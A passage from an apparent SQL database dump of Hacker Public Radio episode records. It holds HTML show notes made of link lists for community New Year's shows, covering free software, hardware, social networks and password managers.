the\nleading Research and Development companies in the United States,\ndedicated to providing high-technology products and services to\nconsumers.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Punched_card\">wikipedia:</a>\nA punched card (also punch card or punched-card) is a piece of stiff\npaper that holds digital data represented by the presence or absence of\nholes in predefined positions.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Punched_tape\">wikipedia:</a>\nPunched tape or perforated paper tape is a form of data storage that\nconsists of a long strip of paper in which holes are punched.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Teleprinter\">wikipedia:</a> A\nteleprinter (teletypewriter, teletype or TTY) is an electromechanical\ndevice that can be used to send and receive typed messages through\nvarious communications channels, in both point-to-point and\npoint-to-multipoint configurations.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Teletype_Model_33\">wikipedia:</a>\nTeletype Model 33.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Teletype_Model_37\">wikipedia:</a>\nTeletype Model 37.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Unix\">wikipedia:</a> Unix\n(/&#x2C8;ju&#x2D0;n&#x26A;ks/; trademarked as UNIX) is a family of multitasking, multiuser\ncomputer operating systems that derive from the original AT&amp;T Unix,\nwhose development started in 1969 at the Bell Labs research center by\nKen Thompson, Dennis Ritchie, and others.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Wang_Laboratories\">wikipedia:</a>\nWang Laboratories was a US computer company founded in 1951 by An Wang\nand G. Y. Chu.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Library_(computing)\">wikipedia:</a>\nLibrary (computing).</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Magnetic-core_memory\">wikipedia:</a>\nMagnetic-core memory was the predominant form of random-access computer\nmemory for 20 years between about 1955 and 1975.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BASIC\">BASIC</a> BASIC\n(Beginners\' All-purpose Symbolic Instruction Code) is a family of\ngeneral-purpose, high-level programming languages designed for ease of\nuse. The original version was created by John G. Kemeny and Thomas E.\nKurtz at Dartmouth College in 1963.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Microsoft_BASIC\">wikipedia:</a>\nMicrosoft BASIC is the foundation software product of the Microsoft\ncompany and evolved into a line of BASIC interpreters and compiler(s)\nadapted for many different microcomputers. It first appeared in 1975 as\nAltair BASIC, which was the first version of BASIC published by\nMicrosoft as well as the first high-level programming language available\nfor the Altair 8800 microcomputer.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Floppy_disk\">wikipedia:</a> A\nfloppy disk or floppy diskette (casually referred to as a floppy, or a\ndiskette) is an obsolescent type of disk storage composed of a thin and\nflexible disk of a magnetic storage medium in a square or nearly square\nplastic enclosure lined with a fabric that removes dust particles from\nthe spinning disk.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Tape_drive\">wikipedia:</a> A\ntape drive is a data storage device that reads and writes data on a\nmagnetic tape.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Microarchitecture\">wikipedia:</a> In\ncomputer engineering, microarchitecture, also called computer\norganization and sometimes abbreviated as &#xB5;arch or uarch, is the way a\ngiven instruction set architecture (ISA) is implemented in a particular\nprocessor.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Microsleep\">wikipedia:</a> A\nmicrosleep is a sudden temporary episode of sleep or drowsiness which\nmay last for a few seconds where an individual fails to respond to some\narbitrary sensory input and becomes unconscious.</li>\n<li><a\nhref=\"https://clevo-computer.com/en/laptops-configurator/\">clevo:</a> We\noffer over 50 models from CLEVO.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Clevo\">wikipedia:</a> Clevo\nis a Taiwanese OEM/ODM computer manufacturer which produces laptop\ncomputers exclusively.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Rapid_transit\">wikipedia:</a>\nRapid transit or mass rapid transit (MRT), also known as heavy rail or\nmetro, is a type of high-capacity public transport generally found in\nurban areas.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Cracker_Jack\">wikipedia:</a>\nCracker Jack is an American brand of snack food that consists of\nmolasses-flavored, caramel-coated popcorn, and peanuts, well known for\nbeing packaged with a prize of trivial value inside.</li>\n<li><a\nhref=\"https://www.gov.uk/browse/driving/driving-licences\">gov:</a> UK\nDriver\'s Licence.\n<ul>\n<li><a\nhref=\"https://www.gov.uk/legal-obligations-drivers-riders\">gov:</a>\nLegal obligations of drivers and riders.</li>\n</ul></li>\n<li><a href=\"https://www.sheilaswheels.com/\">sheilaswheels:</a> We keep\nour Sheilas happy by supplying fabulous 5 Star Defaqto rated car and\nhome insurance, and that\'s helped us to become one of the UK\'s leading\ndirect insurers.</li>\n<li><a\nhref=\"https://www.nestle.co.uk/en-gb/brands/chocolate_and_confectionery/chocolate/yorkie\">nestle:</a>\nYorkie was launched in 1976 by Rowntree\'s of York hence the name.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Joyride_(crime)\">wikipedia:</a>\nJoyriding refers to driving or riding in a stolen vehicle, most commonly\na car, with no particular goal other than the pleasure or thrill of\ndoing so or to impress other people.</li>\n<li><a href=\"https://www.oggcamp.org/\">oggcamp:</a> OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.</li>\n<li><a href=\"https://ubuntu.com/\">ubuntu:</a> Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Ubuntu#Local_communities_(LoCos)\">wikipedia:</a>\nUbuntu.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Mark_Shuttleworth\">wikipedia:</a>\nMark Shuttleworth.</li>\n</ul></li>\n<li><a\nhref=\"https://ubuntu.com/blog/ubuntu-tablet-press-pack\">ubuntu:</a>\nUbuntu tablet press pack.</li>\n<li><a href=\"https://stallman.org/\">stallman:</a> Richard Stallman\'s\nPersonal Site.</li>\n<li><a href=\"https://elementary.io/\">elementary:</a> The thoughtful,\ncapable, and ethical replacement for Windows and macOS.</li>\n<li><a href=\"http://www.slackware.com/\">slackware:</a> The Slackware\nLinux Project.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Identi.ca\">wikipedia:</a>\nidenti.ca was a free and open-source social networking and blogging\nservice based on the pump.io software, using the Activity Streams\nprotocol.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/GNU_social\">wikipedia:</a>\nGNU social (previously known as StatusNet and once known as Laconica) is\na free and open source software microblogging server written in PHP that\nimplements the OStatus standard for interoperation between\ninstallations.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Friendica\">wikipedia:</a>\nFriendica (formerly Friendika, originally Mistpark) is a free and\nopen-source software distributed social network.</li>\n<li><a href=\"https://linuxlugcast.com/\">lugcast:</a> We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.</li>\n<li><a href=\"https://www.toastmasters.org/\">toastmasters</a>\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Motorola\">wikipedia:</a>\nMotorola, Inc. (/&#x2CC;mo&#x28A;t&#x259;&#x2C8;ro&#x28A;l&#x259;/) was an American multinational\ntelecommunications company based in Schaumburg, Illinois, United\nStates.</li>\n<li><a href=\"https://volla.online/en/index.html\">volla:</a> Volla\nPhone.</li>\n<li><a href=\"https://ubports.com/\">ubports:</a> We are building a secure\n&amp; private operating system for your smartphone.</li>\n<li><a href=\"https://sailfishos.org/\">sailfishos:</a> The mobile OS with\nbuilt-in privacy.</li>\n<li><a href=\"https://calyxos.org/\">calyxos:</a> CalyxOS is an operating\nsystem for smartphones based on Android with mostly free and open-source\nsoftware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/WhatsApp\">wikipedia:</a>\nWhatsApp.</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a href=\"https://zoom.us/\">zoom:</a> Unified communication and\ncollaboration platform.</li>\n<li><a href=\"https://jitsi.org/projects/\">jitsi:</a> Jitsi Free &amp;\nOpen Source Video Conferencing Projects.</li>\n<li><a href=\"https://joinmastodon.org/\">joinmastodon:</a> Mastodon is\nfree and open-source software for running self-hosted social networking\nservices.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Karen_Sandler\">wikipedia:</a>\nKaren Sandler is the executive director of the Software Freedom\nConservancy, former executive director of the GNOME Foundation, an\nattorney, and former general counsel of the Software Freedom Law\nCenter.</li>\n<li><a href=\"https://fosdem.org/2023/\">fosdem:</a> FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.</li>\n<li><a href=\"https://southeastlinuxfest.org/\">southeastlinuxfest:</a>\nThe SouthEast LinuxFest is a community event for anyone who wants to\nlearn more about Linux and Open Source Software.</li>\n<li><a href=\"https://olfconference.org/about/\">olfconference:</a> OLF\n(formerly known as Ohio LinuxFest) is a grassroots conference for the\nGNU/Linux/Open Source Software/Free Software community that started in\n2003 as a large inter-LUG (Linux User Group) meeting and has grown\nsteadily since.</li>\n<li><a href=\"https://www.linuxfests.org/\">linuxfests:</a> A home for\neducational programs focused on free and open source software &amp;\nculture.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Notacon\">wikipedia:</a>\nNotacon (pronounced \"not-a-con\") was an art and technology conference\nwhich took place annually in Cleveland, Ohio from 2003 to 2014.</li>\n<li><a href=\"https://penpalworld.com/\">penpalworld:</a> a place where\nyou can meet over 3,000,000 pen pals from every country on the\nplanet.</li>\n<li><a\nhref=\"https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux\">redhat:</a>\nRed Hat Enterprise Linux.</li>\n<li><a href=\"https://www.openssl.org/\">openssl:</a> The OpenSSL Project\ndevelops and maintains the OpenSSL software - a robust,\ncommercial-grade, full-featured toolkit for general-purpose cryptography\nand secure communication.</li>\n<li><a href=\"https://www.ed.gov/stem\">STEM</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Obsessive%E2%80%93compulsive_disorder\">wikipedia:</a>\nObsessive&#x2013;compulsive disorder.</li>\n<li><a href=\"https://www.cdc.gov/ncbddd/autism/screening.html\">cdc:</a>\nAutism.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Asperger_syndrome\">wikipedia:</a>\nAsperger syndrome.</li>\n<li><a\nhref=\"https://askubuntu.com/questions/343268/how-to-use-manual-partitioning-during-installation\">askubuntu:</a>\nManual partitioning during installation.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Colon_cancer_staging\">wikipedia:</a>\nColon cancer staging.</li>\n<li><a\nhref=\"https://www.cdc.gov/vaccines/parents/travel-vaccines.html\">cdc:</a>\nGet Vaccinated Before You Travel.</li>\n<li><a href=\"https://www.sqlite.org/index.html\">sqlite:</a> SQLite is a\nC-language library that implements a small, fast, self-contained,\nhigh-reliability, full-featured, SQL database engine.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Facial_recognition_system\">wikipedia:</a>\nFacial recognition system.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Tribalism\">wikipedia:</a>\nTribalism is the state of being organized by, or advocating for, tribes\nor tribal lifestyles.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Southern_hospitality\">wikipedia:</a>\nSouthern hospitality.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kroger\">wikipedia:</a> The\nKroger Company, or simply Kroger, is an American retail company that\noperates (either directly or through its subsidiaries) supermarkets and\nmulti-department stores throughout the United States.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Prosopagnosia\">wikipedia:</a>\nProsopagnosia, more commonly known as face blindness, is a cognitive\ndisorder of face perception in which the ability to recognize familiar\nfaces, including one\'s own face, is impaired, while other aspects of\nvisual processing and intellectual functioning remain intact.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/T-Mobile\">wikipedia:</a>\nT-Mobile is the brand name used by some of the mobile communications\nsubsidiaries of the German telecommunications company Deutsche Telekom\nAG in the Czech Republic, Poland, the United States and by the former\nsubsidiary in the Netherlands.</li>\n<li><a\nhref=\"https://english.stackexchange.com/questions/38354/where-did-the-phrase-batsht-crazy-come-from#58159\">stackexchange:</a>\nWhere did the phrase \"batsh-t crazy\" come from?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Conspiracy_theory\">wikipedia:</a> A\nconspiracy theory is an explanation for an event or situation that\nasserts the existence of a conspiracy by powerful and sinister groups,\noften political in motivation, when other explanations are more\nprobable.</li>\n<li><a href=\"https://www.brigs.com/\">brigs:</a> At Brigs, we want\neveryone to get exactly what they\'re craving!</li>\n<li><a href=\"https://www.papajohns.com/\">papajohns:</a> Papa Johns.</li>\n<li><a href=\"https://www.dominos.com/en/\">dominos:</a> Domino\'s Pizza,\nInc., trading as Domino\'s, is a Michigan-based multinational pizza\nrestaurant chain founded in 1960 and led by CEO Russell Weiner.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loitering\">wikipedia:</a>\nLoitering is the act of remaining in a particular public place for a\nprolonged amount of time without any apparent purpose.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Psychiatric_hospital\">wikipedia:</a>\nPsychiatric hospitals, also known as mental health hospitals, behavioral\nhealth hospitals, are hospitals or wards specializing in the treatment\nof severe mental disorders, such as schizophrenia, bipolar disorder,\neating disorders, dissociative identity disorder, major depressive\ndisorder and many others.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Therapist\">wikipedia:</a>\nTherapist is a person who offers any kinds of therapy.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3884,'2023-06-22','2022-2023 New Years Show Episode 10',10355,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-10\">Episode #10</h2>\n<ul>\n<li><p>Tech And Coffee<br />\n<a href=\"https://techandcoffee.info/\"\nclass=\"uri\">https://techandcoffee.info/</a></p></li>\n<li><p>CDC COVID Death Toll<br />\n<a href=\"https://covid.cdc.gov/covid-data-tracker/#datatracker-home\"\nclass=\"uri\">https://covid.cdc.gov/covid-data-tracker/#datatracker-home</a></p></li>\n<li><p>Edinburgh<br />\n<a href=\"https://edinburgh.org/\"\nclass=\"uri\">https://edinburgh.org/</a></p></li>\n<li><p>Glasgow<br />\n<a\nhref=\"https://www.scotland.org/about-scotland/scotlands-stories/glasgow\"\nclass=\"uri\">https://www.scotland.org/about-scotland/scotlands-stories/glasgow</a></p></li>\n<li><p>Pixelfed - A decentralized social media photo sharing site<br />\n<a href=\"https://pixelfed.org/\"\nclass=\"uri\">https://pixelfed.org/</a></p></li>\n<li><p>Audacity<br />\n<a href=\"https://www.audacityteam.org/\"\nclass=\"uri\">https://www.audacityteam.org/</a></p></li>\n<li><p>Ice Cast<br />\n<a href=\"https://icecast.org/\"\nclass=\"uri\">https://icecast.org/</a></p></li>\n<li><p>Butt - Broadcast Using This Tool<br />\n<a href=\"https://danielnoethen.de/butt/\"\nclass=\"uri\">https://danielnoethen.de/butt/</a></p></li>\n<li><p>FOSDEM Brussels, 2023<br />\n<a href=\"https://fosdem.org/2023/news/2022-09-14-fosdem-2023-dates/\"\nclass=\"uri\">https://fosdem.org/2023/news/2022-09-14-fosdem-2023-dates/</a></p></li>\n<li><p>Arduboy Mini<br />\n<a\nhref=\"https://liliputing.com/arduboy-mini-hits-kickstarter-for-29-and-up-tiny-8-bit-game-console-with-300-games-included/\"\nclass=\"uri\">https://liliputing.com/arduboy-mini-hits-kickstarter-for-29-and-up-tiny-8-bit-game-console-with-300-games-included/</a></p></li>\n<li><p>Pine Tab 2<br />\n<a\nhref=\"https://arstechnica.com/gadgets/2022/12/pinetab-2-is-a-rockchip-based-linux-powered-repairable-tablet/\"\nclass=\"uri\">https://arstechnica.com/gadgets/2022/12/pinetab-2-is-a-rockchip-based-linux-powered-repairable-tablet/</a></p></li>\n<li><p>NVIDIA 3080<br />\n<a\nhref=\"https://www.nvidia.com/en-us/geforce/graphics-cards/30-series/rtx-3080-3080ti/\"\nclass=\"uri\">https://www.nvidia.com/en-us/geforce/graphics-cards/30-series/rtx-3080-3080ti/</a></p></li>\n<li><p>Pinebook Pro<br />\n<a href=\"https://www.pine64.org/pinebook-pro/\"\nclass=\"uri\">https://www.pine64.org/pinebook-pro/</a></p></li>\n<li><p>Pinenote<br />\n<a href=\"https://www.pine64.org/pinenote/\"\nclass=\"uri\">https://www.pine64.org/pinenote/</a></p></li>\n<li><p>GDP Win 4<br />\n<a\nhref=\"https://www.indiegogo.com/projects/gpd-win-4-smallest-6800u-handheld-console#/\"\nclass=\"uri\">https://www.indiegogo.com/projects/gpd-win-4-smallest-6800u-handheld-console#/</a></p></li>\n<li><p>Steam OS<br />\n<a href=\"https://store.steampowered.com/steamos\"\nclass=\"uri\">https://store.steampowered.com/steamos</a></p></li>\n<li><p>Steam Deck<br />\n<a href=\"https://store.steampowered.com/steamdeck\"\nclass=\"uri\">https://store.steampowered.com/steamdeck</a></p></li>\n<li><p>Docking Stations For Steam Deck<br />\n<a href=\"https://store.steampowered.com/steamdeckdock\"\nclass=\"uri\">https://store.steampowered.com/steamdeckdock</a></p></li>\n<li><p>HP Elitedesk G2 Mini<br />\n<a\nhref=\"https://support.hp.com/us-en/product/hp-elitedesk-800-35w-g2-desktop-mini-pc/7633266\"\nclass=\"uri\">https://support.hp.com/us-en/product/hp-elitedesk-800-35w-g2-desktop-mini-pc/7633266</a></p></li>\n<li><p>Plex<br />\n<a href=\"https://www.plex.tv/\"\nclass=\"uri\">https://www.plex.tv/</a></p></li>\n<li><p>Audio Bookshelf<br />\n<a href=\"https://www.audiobookshelf.org/\"\nclass=\"uri\">https://www.audiobookshelf.org/</a></p></li>\n<li><p>Jellyfin<br />\n<a href=\"https://jellyfin.org/\"\nclass=\"uri\">https://jellyfin.org/</a></p></li>\n<li><p>Helios NAS<br />\n<a href=\"https://kobol.io/\" class=\"uri\">https://kobol.io/</a></p></li>\n<li><p>Synology NAS<br />\n<a href=\"https://www.synology.com/en-us\"\nclass=\"uri\">https://www.synology.com/en-us</a></p></li>\n<li><p>VIA NAS Board (end of life)<br />\n<a href=\"https://www.viatech.com/en/support/eol/nas7800-eol/\"\nclass=\"uri\">https://www.viatech.com/en/support/eol/nas7800-eol/</a></p></li>\n<li><p>Huion Graphics Drawing Tablet<br />\n<a href=\"https://store.huion.com/\"\nclass=\"uri\">https://store.huion.com/</a></p></li>\n<li><p>X2GO<br />\n<a href=\"https://wiki.x2go.org/doku.php\"\nclass=\"uri\">https://wiki.x2go.org/doku.php</a></p></li>\n<li><p>Nicotine+<br />\n<a href=\"https://nicotine-plus.org/\"\nclass=\"uri\">https://nicotine-plus.org/</a></p></li>\n<li><p>Soulseek<br />\n<a href=\"http://www.slsknet.org/news/\"\nclass=\"uri\">http://www.slsknet.org/news/</a></p></li>\n<li><p>Diet Pi<br />\n<a href=\"https://dietpi.com/\"\nclass=\"uri\">https://dietpi.com/</a></p></li>\n<li><p>Yunohost<br />\n<a href=\"https://yunohost.org/#/\"\nclass=\"uri\">https://yunohost.org/#/</a></p></li>\n<li><p>Open Project<br />\n<a href=\"https://www.openproject.org/\"\nclass=\"uri\">https://www.openproject.org/</a></p></li>\n<li><p>Nextcloud<br />\n<a href=\"https://nextcloud.com/\"\nclass=\"uri\">https://nextcloud.com/</a></p></li>\n<li><p>Wire Guard<br />\n<a href=\"https://www.wireguard.com/\"\nclass=\"uri\">https://www.wireguard.com/</a></p></li>\n<li><p>Proxmox<br />\n<a href=\"https://www.proxmox.com/en/\"\nclass=\"uri\">https://www.proxmox.com/en/</a></p></li>\n<li><p>Linode<br />\n<a href=\"https://www.linode.com/\"\nclass=\"uri\">https://www.linode.com/</a></p></li>\n<li><p>Podman - manage containers<br />\n<a href=\"https://podman.io/\" class=\"uri\">https://podman.io/</a></p></li>\n<li><p>Open Media Vault<br />\n<a href=\"https://www.openmediavault.org/\"\nclass=\"uri\">https://www.openmediavault.org/</a></p></li>\n<li><p>NAS4FREE (now called XigmaNAS)<br />\n<a href=\"https://xigmanas.com/xnaswp/\"\nclass=\"uri\">https://xigmanas.com/xnaswp/</a></p></li>\n<li><p>SAMBA<br />\n<a href=\"https://www.samba.org/\"\nclass=\"uri\">https://www.samba.org/</a></p></li>\n<li><p>Wacom Intuos Drawing Tablets<br />\n<a href=\"https://www.wacom.com/en-us/products/pen-tablets/wacom-intuos\"\nclass=\"uri\">https://www.wacom.com/en-us/products/pen-tablets/wacom-intuos</a></p></li>\n<li><p>Garuda Linux<br />\n<a href=\"https://garudalinux.org/\"\nclass=\"uri\">https://garudalinux.org/</a></p></li>\n<li><p>btrfs (ButterFS)<br />\n<a href=\"https://btrfs.wiki.kernel.org/index.php/Main_Page\"\nclass=\"uri\">https://btrfs.wiki.kernel.org/index.php/Main_Page</a></p></li>\n<li><p>Jessica Garson<br />\n<a href=\"https://pyvideo.org/speaker/jessica-garson.html\"\nclass=\"uri\">https://pyvideo.org/speaker/jessica-garson.html</a></p></li>\n<li><p>Fox Dot - Live Coding with Python<br />\n<a href=\"https://github.com/Qirky/FoxDot\"\nclass=\"uri\">https://github.com/Qirky/FoxDot</a></p></li>\n<li><p>GTK<br />\n<a href=\"https://www.gtk.org/\"\nclass=\"uri\">https://www.gtk.org/</a></p></li>\n<li><p>bulky<br />\n<a href=\"https://pypi.org/project/bulky/\"\nclass=\"uri\">https://pypi.org/project/bulky/</a></p></li>\n<li><p>Toy Pizza Oven<br />\n<a\nhref=\"https://www.melissaanddoug.com/products/top-bake-pizza-counter-wooden-play-food\"\nclass=\"uri\">https://www.melissaanddoug.com/products/top-bake-pizza-counter-wooden-play-food</a></p></li>\n<li><p>Crayola Drawing Pad<br />\n<a\nhref=\"https://shop.crayola.com/toys-and-activities/ultimate-light-board-choose-your-color-7472.html\"\nclass=\"uri\">https://shop.crayola.com/toys-and-activities/ultimate-light-board-choose-your-color-7472.html</a></p></li>\n<li><p>Joplin<br />\n<a href=\"https://joplinapp.org/\"\nclass=\"uri\">https://joplinapp.org/</a></p></li>\n<li><p>Lotus Notes<br />\n<a href=\"https://en.wikipedia.org/wiki/HCL_Domino\"\nclass=\"uri\">https://en.wikipedia.org/wiki/HCL_Domino</a></p></li>\n<li><p>GNOTE<br />\n<a href=\"https://wiki.gnome.org/Apps/Gnote\"\nclass=\"uri\">https://wiki.gnome.org/Apps/Gnote</a></p></li>\n<li><p>SUSE Linux<br />\n<a href=\"https://www.suse.com/\"\nclass=\"uri\">https://www.suse.com/</a></p></li>\n<li><p>Keepass<br />\n<a href=\"https://keepass.info/\"\nclass=\"uri\">https://keepass.info/</a></p></li>\n<li><p>Blackberry<br />\n<a href=\"https://www.blackberry.com/us/en/products/devices\"\nclass=\"uri\">https://www.blackberry.com/us/en/products/devices</a></p></li>\n<li><p>InSync (Sync to Google drive)<br />\n<a href=\"https://www.insynchq.com/\"\nclass=\"uri\">https://www.insynchq.com/</a></p></li>\n<li><p>Keypass XC<br />\n<a href=\"https://keepassxc.org/\"\nclass=\"uri\">https://keepassxc.org/</a></p></li>\n<li><p>Bitwarden<br />\n<a href=\"https://bitwarden.com/\"\nclass=\"uri\">https://bitwarden.com/</a></p></li>\n<li><p>Geocities<br />\n<a href=\"https://en.wikipedia.org/wiki/Yahoo!_GeoCities\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Yahoo!_GeoCities</a></p></li>\n<li><p>Angelfire<br />\n<a href=\"https://www.angelfire.lycos.com/\"\nclass=\"uri\">https://www.angelfire.lycos.com/</a></p></li>\n<li><p>Yubikey<br />\n<a href=\"https://www.yubico.com/\"\nclass=\"uri\">https://www.yubico.com/</a></p></li>\n<li><p>Linux Mint<br />\n<a href=\"https://linuxmint.com/\"\nclass=\"uri\">https://linuxmint.com/</a></p></li>\n<li><p>ASUS Vivobook<br />\n<a href=\"https://www.asus.com/us/laptops/for-home/vivobook/\"\nclass=\"uri\">https://www.asus.com/us/laptops/for-home/vivobook/</a></p></li>\n<li><p>Mastodon<br />\n<a href=\"https://mastodon.social/explore\"\nclass=\"uri\">https://mastodon.social/explore</a></p></li>\n<li><p>South Park<br />\n<a href=\"https://southpark.cc.com/\"\nclass=\"uri\">https://southpark.cc.com/</a></p></li>\n<li><p>Mastercard<br />\n<a href=\"https://www.mastercard.us/en-us.html\"\nclass=\"uri\">https://www.mastercard.us/en-us.html</a></p></li>\n<li><p><a\nhref=\"https://www.westernunion.com/blog/en/notify-bank-international-travel/\">westernunion:</a>\nNotify your bank before using a credit or debit card when\ntraveling.</p></li>\n<li><p><a\nhref=\"https://consumer.ftc.gov/articles/what-know-about-credit-freezes-fraud-alerts\">ftc:</a>\nWhat To Know About Credit Freezes and Fraud Alerts.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Mastercard\">wikipedia:</a>\nMastercard Inc. (stylized as MasterCard from 1979&#x2013;2016, mastercard from\n2016&#x2013;2019) is the second-largest payment-processing corporation\nworldwide.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Eurocard_(credit_card)\">wikipedia:</a>\nEurocard was a credit card, introduced in 1964 by a Swedish banker in\nthe Wallenberg family as an alternative to American Express.</p></li>\n<li><p><a\nhref=\"https://visitsweden.com/about-sweden/currency-prices/\">visitsweden:</a>\nCurrency, credit cards and money in Sweden.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Visa_Inc.\">wikipedia:</a>\nVisa Inc. (/&#x2C8;vi&#x2D0;z&#x259;, &#x2C8;vi&#x2D0;s&#x259;/; stylized as VISA) is an American\nmultinational financial services corporation headquartered in San\nFrancisco, California.</p></li>\n<li><p><a href=\"https://mewe.com/\">mewe:</a> Brilliant features with no\nBS. No Ads. No Spyware. MeWe is the Next-Gen Social Network.</p></li>\n<li><p><a href=\"https://www.hplovecraft.com/\">hplovecraft:</a> HOWARD\nPHILLIPS LOVECRAFT (20 August 1890&#x2013;15 March 1937) is probably best known\nas a writer of weird fiction, but some believe his voluminous\ncorrespondence to be his greatest accomplishment.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Lovecraftian_horror\">wikipedia:</a>\nLovecraftian horror, sometimes used interchangeably with \"cosmic\nhorror\", is a subgenre of horror fiction and weird fiction that\nemphasizes the horror of the unknowable and incomprehensible more than\ngore or other elements of shock.</p></li>\n<li><p><a\nhref=\"https://www.adultswim.com/videos/rick-and-morty/\">adultswim:</a>\nRick and Morty is an American adult animated science-fiction sitcom\ncreated by Justin Roiland and Dan Harmon for Cartoon Network\'s nighttime\nprogramming block Adult Swim.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Facebook\">wikipedia:</a>\nFacebook is an online social media and social networking service owned\nby American company Meta Platforms.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Twitter\">wikipedia:</a>\nTwitter is an online social media and social networking service owned\nand operated by American company Twitter, Inc., on which users send and\nrespond publicly or privately 280-character-long messages, images and\nvideos known as \"tweets\".</p></li>\n<li><p><a href=\"https://climagic.org/\">climagic:</a> Command LIne Magic\n(CLIMagic).</p>\n<ul>\n<li><a\nhref=\"https://www.climagic.org/txt/ilf-2012-slides.txt\">climagic:</a>\nIndiana Linux Fest 2012.</li>\n</ul></li>\n<li><p><a href=\"https://element.io/\">element:</a> Element is a free and\nopen-source software instant messaging client based on the Matrix\nprotocol. Element supports end-to-end encryption, groups, channels and\nsharing of files between users.</p></li>\n<li><p><a href=\"https://matrix.to/#/#lugcast:minnix.dev\">matrix:</a>\nLinux Lug Cast on Matrix.</p></li>\n<li><p><a href=\"https://matrix.to/#/#hpr:matrix.org\">matrix:</a> HPR on\nMatrix.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Atom_(text_editor)\">wikipedia:</a>\nAtom was a free and open-source text and source code editor for macOS,\nLinux, and Microsoft Windows with support for plug-ins written in\nJavaScript, and embedded Git Control.</p></li>\n<li><p><a href=\"https://matrix.org/\">matrix:</a> An open network for\nsecure, decentralized communication.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Multi-factor_authentication\">wikipedia:</a>\nMulti-factor authentication.</p></li>\n<li><p><a href=\"https://support.apple.com/en-us/HT204915\">apple:</a>\nTwo-factor authentication for Apple ID.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Authenticator\">wikipedia:</a> An\nauthenticator is a means used to confirm a user\'s identity, that is, to\nperform digital authentication.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Google_Authenticator\">wikipedia:</a>\nGoogle Authenticator.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Key_authentication\">wikipedia:</a>\nKey authentication.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/SQRL\">wikipedia:</a> SQRL\n(pronounced \"squirrel\") or Secure, Quick, Reliable Login (formerly\nSecure QR Login) is a draft open standard for secure website login and\nauthentication.</p></li>\n<li><p><a href=\"https://twit.tv/shows/security-now\">twit:</a> Security\nNow - Hosted by Steve Gibson, Leo Laporte.</p></li>\n<li><p><a href=\"https://keepassxc.org/\">keepassxc:</a> KeePassXC -\nCross-Platform Password Manager.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Password_cracking\">wikipedia:</a> In\ncryptanalysis and computer security, password cracking is the process of\nrecovering passwords from data that has 